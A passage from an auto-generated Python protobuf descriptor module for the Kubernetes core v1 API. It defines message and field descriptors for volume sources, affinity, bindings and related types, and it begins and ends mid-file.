\x01(\t\x12\x1d\n\x15internalTrafficPolicy\x18\x16 \x01(\t\x1a/\n\rSelectorEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t:\x02\x38\x01\"\x92\x01\n\rServiceStatus\x12<\n\x0cloadBalancer\x18\x01 \x01(\x0b\x32&.k8s.io.api.core.v1.LoadBalancerStatus\x12\x43\n\nconditions\x18\x02 \x03(\x0b\x32/.k8s.io.apimachinery.pkg.apis.meta.v1.Condition\"M\n\x15SessionAffinityConfig\x12\x34\n\x08\x63lientIP\x18\x01 \x01(\x0b\x32\".k8s.io.api.core.v1.ClientIPConfig\"\xa8\x01\n\x1fStorageOSPersistentVolumeSource\x12\x12\n\nvolumeName\x18\x01 \x01(\t\x12\x17\n\x0fvolumeNamespace\x18\x02 \x01(\t\x12\x0e\n\x06\x66sType\x18\x03 \x01(\t\x12\x10\n\x08readOnly\x18\x04 \x01(\x08\x12\x36\n\tsecretRef\x18\x05 \x01(\x0b\x32#.k8s.io.api.core.v1.ObjectReference\"\xa3\x01\n\x15StorageOSVolumeSource\x12\x12\n\nvolumeName\x18\x01 \x01(\t\x12\x17\n\x0fvolumeNamespace\x18\x02 \x01(\t\x12\x0e\n\x06\x66sType\x18\x03 \x01(\t\x12\x10\n\x08readOnly\x18\x04 \x01(\x08\x12;\n\tsecretRef\x18\x05 \x01(\x0b\x32(.k8s.io.api.core.v1.LocalObjectReference\"%\n\x06Sysctl\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t\"_\n\x0fTCPSocketAction\x12>\n\x04port\x18\x01 \x01(\x0b\x32\x30.k8s.io.apimachinery.pkg.util.intstr.IntOrString\x12\x0c\n\x04host\x18\x02 \x01(\t\"r\n\x05Taint\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\t\x12\x0e\n\x06\x65\x66\x66\x65\x63t\x18\x03 \x01(\t\x12=\n\ttimeAdded\x18\x04 \x01(\x0b\x32*.k8s.io.apimachinery.pkg.apis.meta.v1.Time\"e\n\nToleration\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x10\n\x08operator\x18\x02 \x01(\t\x12\r\n\x05value\x18\x03 \x01(\t\x12\x0e\n\x06\x65\x66\x66\x65\x63t\x18\x04 \x01(\t\x12\x19\n\x11tolerationSeconds\x18\x05 \x01(\x03\"?\n TopologySelectorLabelRequirement\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\x0e\n\x06values\x18\x02 \x03(\t\"k\n\x14TopologySelectorTerm\x12S\n\x15matchLabelExpressions\x18\x01 \x03(\x0b\x32\x34.k8s.io.api.core.v1.TopologySelectorLabelRequirement\"\xa7\x01\n\x18TopologySpreadConstraint\x12\x0f\n\x07maxSkew\x18\x01 \x01(\x05\x12\x13\n\x0btopologyKey\x18\x02 \x01(\t\x12\x19\n\x11whenUnsatisfiable\x18\x03 \x01(\t\x12J\n\rlabelSelector\x18\x04 \x01(\x0b\x32\x33.k8s.io.apimachinery.pkg.apis.meta.v1.LabelSelector\"I\n\x19TypedLocalObjectReference\x12\x10\n\x08\x61piGroup\x18\x01 \x01(\t\x12\x0c\n\x04kind\x18\x02 \x01(\t\x12\x0c\n\x04name\x18\x03 \x01(\t\"N\n\x06Volume\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x36\n\x0cvolumeSource\x18\x02 \x01(\x0b\x32 .k8s.io.api.core.v1.VolumeSource\"0\n\x0cVolumeDevice\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x12\n\ndevicePath\x18\x02 \x01(\t\"\x80\x01\n\x0bVolumeMount\x12\x0c\n\x04name\x18\x01 \x01(\t\x12\x10\n\x08readOnly\x18\x02 \x01(\x08\x12\x11\n\tmountPath\x18\x03 \x01(\t\x12\x0f\n\x07subPath\x18\x04 \x01(\t\x12\x18\n\x10mountPropagation\x18\x05 \x01(\t\x12\x13\n\x0bsubPathExpr\x18\x06 \x01(\t\"H\n\x12VolumeNodeAffinity\x12\x32\n\x08required\x18\x01 \x01(\x0b\x32 .k8s.io.api.core.v1.NodeSelector\"\x94\x02\n\x10VolumeProjection\x12\x34\n\x06secret\x18\x01 \x01(\x0b\x32$.k8s.io.api.core.v1.SecretProjection\x12>\n\x0b\x64ownwardAPI\x18\x02 \x01(\x0b\x32).k8s.io.api.core.v1.DownwardAPIProjection\x12:\n\tconfigMap\x18\x03 \x01(\x0b\x32\'.k8s.io.api.core.v1.ConfigMapProjection\x12N\n\x13serviceAccountToken\x18\x04 \x01(\x0b\x32\x31.k8s.io.api.core.v1.ServiceAccountTokenProjection\"\x99\x0e\n\x0cVolumeSource\x12:\n\x08hostPath\x18\x01 \x01(\x0b\x32(.k8s.io.api.core.v1.HostPathVolumeSource\x12:\n\x08\x65mptyDir\x18\x02 \x01(\x0b\x32(.k8s.io.api.core.v1.EmptyDirVolumeSource\x12L\n\x11gcePersistentDisk\x18\x03 \x01(\x0b\x32\x31.k8s.io.api.core.v1.GCEPersistentDiskVolumeSource\x12R\n\x14\x61wsElasticBlockStore\x18\x04 \x01(\x0b\x32\x34.k8s.io.api.core.v1.AWSElasticBlockStoreVolumeSource\x12\x38\n\x07gitRepo\x18\x05 \x01(\x0b\x32\'.k8s.io.api.core.v1.GitRepoVolumeSource\x12\x36\n\x06secret\x18\x06 \x01(\x0b\x32&.k8s.io.api.core.v1.SecretVolumeSource\x12\x30\n\x03nfs\x18\x07 \x01(\x0b\x32#.k8s.io.api.core.v1.NFSVolumeSource\x12\x34\n\x05iscsi\x18\x08 \x01(\x0b\x32%.k8s.io.api.core.v1.ISCSIVolumeSource\x12<\n\tglusterfs\x18\t \x01(\x0b\x32).k8s.io.api.core.v1.GlusterfsVolumeSource\x12T\n\x15persistentVolumeClaim\x18\n \x01(\x0b\x32\x35.k8s.io.api.core.v1.PersistentVolumeClaimVolumeSource\x12\x30\n\x03rbd\x18\x0b \x01(\x0b\x32#.k8s.io.api.core.v1.RBDVolumeSource\x12\x38\n\nflexVolume\x18\x0c \x01(\x0b\x32$.k8s.io.api.core.v1.FlexVolumeSource\x12\x36\n\x06\x63inder\x18\r \x01(\x0b\x32&.k8s.io.api.core.v1.CinderVolumeSource\x12\x36\n\x06\x63\x65phfs\x18\x0e \x01(\x0b\x32&.k8s.io.api.core.v1.CephFSVolumeSource\x12\x38\n\x07\x66locker\x18\x0f \x01(\x0b\x32\'.k8s.io.api.core.v1.FlockerVolumeSource\x12@\n\x0b\x64ownwardAPI\x18\x10 \x01(\x0b\x32+.k8s.io.api.core.v1.DownwardAPIVolumeSource\x12.\n\x02\x66\x63\x18\x11 \x01(\x0b\x32\".k8s.io.api.core.v1.FCVolumeSource\x12<\n\tazureFile\x18\x12 \x01(\x0b\x32).k8s.io.api.core.v1.AzureFileVolumeSource\x12<\n\tconfigMap\x18\x13 \x01(\x0b\x32).k8s.io.api.core.v1.ConfigMapVolumeSource\x12I\n\rvsphereVolume\x18\x14 \x01(\x0b\x32\x32.k8s.io.api.core.v1.VsphereVirtualDiskVolumeSource\x12\x38\n\x07quobyte\x18\x15 \x01(\x0b\x32\'.k8s.io.api.core.v1.QuobyteVolumeSource\x12<\n\tazureDisk\x18\x16 \x01(\x0b\x32).k8s.io.api.core.v1.AzureDiskVolumeSource\x12R\n\x14photonPersistentDisk\x18\x17 \x01(\x0b\x32\x34.k8s.io.api.core.v1.PhotonPersistentDiskVolumeSource\x12<\n\tprojected\x18\x1a \x01(\x0b\x32).k8s.io.api.core.v1.ProjectedVolumeSource\x12@\n\x0eportworxVolume\x18\x18 \x01(\x0b\x32(.k8s.io.api.core.v1.PortworxVolumeSource\x12\x38\n\x07scaleIO\x18\x19 \x01(\x0b\x32\'.k8s.io.api.core.v1.ScaleIOVolumeSource\x12<\n\tstorageos\x18\x1b \x01(\x0b\x32).k8s.io.api.core.v1.StorageOSVolumeSource\x12\x30\n\x03\x63si\x18\x1c \x01(\x0b\x32#.k8s.io.api.core.v1.CSIVolumeSource\x12<\n\tephemeral\x18\x1d \x01(\x0b\x32).k8s.io.api.core.v1.EphemeralVolumeSource\"x\n\x1eVsphereVirtualDiskVolumeSource\x12\x12\n\nvolumePath\x18\x01 \x01(\t\x12\x0e\n\x06\x66sType\x18\x02 \x01(\t\x12\x19\n\x11storagePolicyName\x18\x03 \x01(\t\x12\x17\n\x0fstoragePolicyID\x18\x04 \x01(\t\"g\n\x17WeightedPodAffinityTerm\x12\x0e\n\x06weight\x18\x01 \x01(\x05\x12<\n\x0fpodAffinityTerm\x18\x02 \x01(\x0b\x32#.k8s.io.api.core.v1.PodAffinityTerm\"\x87\x01\n\x1dWindowsSecurityContextOptions\x12\x1e\n\x16gmsaCredentialSpecName\x18\x01 \x01(\t\x12\x1a\n\x12gmsaCredentialSpec\x18\x02 \x01(\t\x12\x15\n\rrunAsUserName\x18\x03 \x01(\t\x12\x13\n\x0bhostProcess\x18\x04 \x01(\x08\x42\x14Z\x12k8s.io/api/core/v1' , dependencies=[k8s_dot_io_dot_apimachinery_dot_pkg_dot_api_dot_resource_dot_generated__pb2.DESCRIPTOR,k8s_dot_io_dot_apimachinery_dot_pkg_dot_apis_dot_meta_dot_v1_dot_generated__pb2.DESCRIPTOR,k8s_dot_io_dot_apimachinery_dot_pkg_dot_runtime_dot_generated__pb2.DESCRIPTOR,k8s_dot_io_dot_apimachinery_dot_pkg_dot_runtime_dot_schema_dot_generated__pb2.DESCRIPTOR,k8s_dot_io_dot_apimachinery_dot_pkg_dot_util_dot_intstr_dot_generated__pb2.DESCRIPTOR,]) _AWSELASTICBLOCKSTOREVOLUMESOURCE = _descriptor.Descriptor( name='AWSElasticBlockStoreVolumeSource', full_name='k8s.io.api.core.v1.AWSElasticBlockStoreVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='volumeID', full_name='k8s.io.api.core.v1.AWSElasticBlockStoreVolumeSource.volumeID', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.AWSElasticBlockStoreVolumeSource.fsType', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='partition', full_name='k8s.io.api.core.v1.AWSElasticBlockStoreVolumeSource.partition', index=2, number=3, type=5, cpp_type=1, label=1, has_default_value=False, default_value=0, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.AWSElasticBlockStoreVolumeSource.readOnly', index=3, number=4, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=324, serialized_end=429, ) _AFFINITY = _descriptor.Descriptor( name='Affinity', full_name='k8s.io.api.core.v1.Affinity', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='nodeAffinity', full_name='k8s.io.api.core.v1.Affinity.nodeAffinity', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='podAffinity', full_name='k8s.io.api.core.v1.Affinity.podAffinity', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='podAntiAffinity', full_name='k8s.io.api.core.v1.Affinity.podAntiAffinity', index=2, number=3, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=432, serialized_end=614, ) _ATTACHEDVOLUME = _descriptor.Descriptor( name='AttachedVolume', full_name='k8s.io.api.core.v1.AttachedVolume', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='name', full_name='k8s.io.api.core.v1.AttachedVolume.name', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='devicePath', full_name='k8s.io.api.core.v1.AttachedVolume.devicePath', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=616, serialized_end=666, ) _AVOIDPODS = _descriptor.Descriptor( name='AvoidPods', full_name='k8s.io.api.core.v1.AvoidPods', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='preferAvoidPods', full_name='k8s.io.api.core.v1.AvoidPods.preferAvoidPods', index=0, number=1, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=668, serialized_end=746, ) _AZUREDISKVOLUMESOURCE = _descriptor.Descriptor( name='AzureDiskVolumeSource', full_name='k8s.io.api.core.v1.AzureDiskVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='diskName', full_name='k8s.io.api.core.v1.AzureDiskVolumeSource.diskName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='diskURI', full_name='k8s.io.api.core.v1.AzureDiskVolumeSource.diskURI', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='cachingMode', full_name='k8s.io.api.core.v1.AzureDiskVolumeSource.cachingMode', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.AzureDiskVolumeSource.fsType', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.AzureDiskVolumeSource.readOnly', index=4, number=5, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='kind', full_name='k8s.io.api.core.v1.AzureDiskVolumeSource.kind', index=5, number=6, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=748, serialized_end=875, ) _AZUREFILEPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='AzureFilePersistentVolumeSource', full_name='k8s.io.api.core.v1.AzureFilePersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='secretName', full_name='k8s.io.api.core.v1.AzureFilePersistentVolumeSource.secretName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='shareName', full_name='k8s.io.api.core.v1.AzureFilePersistentVolumeSource.shareName', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.AzureFilePersistentVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='secretNamespace', full_name='k8s.io.api.core.v1.AzureFilePersistentVolumeSource.secretNamespace', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=877, serialized_end=992, ) _AZUREFILEVOLUMESOURCE = _descriptor.Descriptor( name='AzureFileVolumeSource', full_name='k8s.io.api.core.v1.AzureFileVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='secretName', full_name='k8s.io.api.core.v1.AzureFileVolumeSource.secretName', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='shareName', full_name='k8s.io.api.core.v1.AzureFileVolumeSource.shareName', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.AzureFileVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=994, serialized_end=1074, ) _BINDING = _descriptor.Descriptor( name='Binding', full_name='k8s.io.api.core.v1.Binding', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='metadata', full_name='k8s.io.api.core.v1.Binding.metadata', index=0, number=1, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='target', full_name='k8s.io.api.core.v1.Binding.target', index=1, number=2, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1077, serialized_end=1207, ) _CSIPERSISTENTVOLUMESOURCE_VOLUMEATTRIBUTESENTRY = _descriptor.Descriptor( name='VolumeAttributesEntry', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.VolumeAttributesEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.VolumeAttributesEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.VolumeAttributesEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1683, serialized_end=1738, ) _CSIPERSISTENTVOLUMESOURCE = _descriptor.Descriptor( name='CSIPersistentVolumeSource', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='driver', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.driver', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeHandle', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.volumeHandle', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.readOnly', index=2, number=3, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.fsType', index=3, number=4, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeAttributes', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.volumeAttributes', index=4, number=5, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='controllerPublishSecretRef', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.controllerPublishSecretRef', index=5, number=6, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodeStageSecretRef', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.nodeStageSecretRef', index=6, number=7, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodePublishSecretRef', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.nodePublishSecretRef', index=7, number=8, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='controllerExpandSecretRef', full_name='k8s.io.api.core.v1.CSIPersistentVolumeSource.controllerExpandSecretRef', index=8, number=9, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_CSIPERSISTENTVOLUMESOURCE_VOLUMEATTRIBUTESENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1210, serialized_end=1738, ) _CSIVOLUMESOURCE_VOLUMEATTRIBUTESENTRY = _descriptor.Descriptor( name='VolumeAttributesEntry', full_name='k8s.io.api.core.v1.CSIVolumeSource.VolumeAttributesEntry', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='key', full_name='k8s.io.api.core.v1.CSIVolumeSource.VolumeAttributesEntry.key', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='value', full_name='k8s.io.api.core.v1.CSIVolumeSource.VolumeAttributesEntry.value', index=1, number=2, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[], enum_types=[ ], serialized_options=b'8\001', is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1683, serialized_end=1738, ) _CSIVOLUMESOURCE = _descriptor.Descriptor( name='CSIVolumeSource', full_name='k8s.io.api.core.v1.CSIVolumeSource', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ _descriptor.FieldDescriptor( name='driver', full_name='k8s.io.api.core.v1.CSIVolumeSource.driver', index=0, number=1, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='readOnly', full_name='k8s.io.api.core.v1.CSIVolumeSource.readOnly', index=1, number=2, type=8, cpp_type=7, label=1, has_default_value=False, default_value=False, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='fsType', full_name='k8s.io.api.core.v1.CSIVolumeSource.fsType', index=2, number=3, type=9, cpp_type=9, label=1, has_default_value=False, default_value=b"".decode('utf-8'), message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='volumeAttributes', full_name='k8s.io.api.core.v1.CSIVolumeSource.volumeAttributes', index=3, number=4, type=11, cpp_type=10, label=3, has_default_value=False, default_value=[], message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), _descriptor.FieldDescriptor( name='nodePublishSecretRef', full_name='k8s.io.api.core.v1.CSIVolumeSource.nodePublishSecretRef', index=4, number=5, type=11, cpp_type=10, label=1, has_default_value=False, default_value=None, message_type=None, enum_type=None, containing_type=None, is_extension=False, extension_scope=None, serialized_options=None, file=DESCRIPTOR, create_key=_descriptor._internal_create_key), ], extensions=[ ], nested_types=[_CSIVOLUMESOURCE_VOLUMEATTRIBUTESENTRY, ], enum_types=[ ], serialized_options=None, is_extendable=False, syntax='proto2', extension_ranges=[], oneofs=[ ], serialized_start=1741, serialized_end=2022, ) _CAPABILITIES = _descriptor.Descriptor( name='Capabilities', full_name='k8s.io.api.core.v1.Capabilities', filename=None, file=DESCRIPTOR, containing_type=None, create_key=_descriptor._internal_create_key, fields=[ 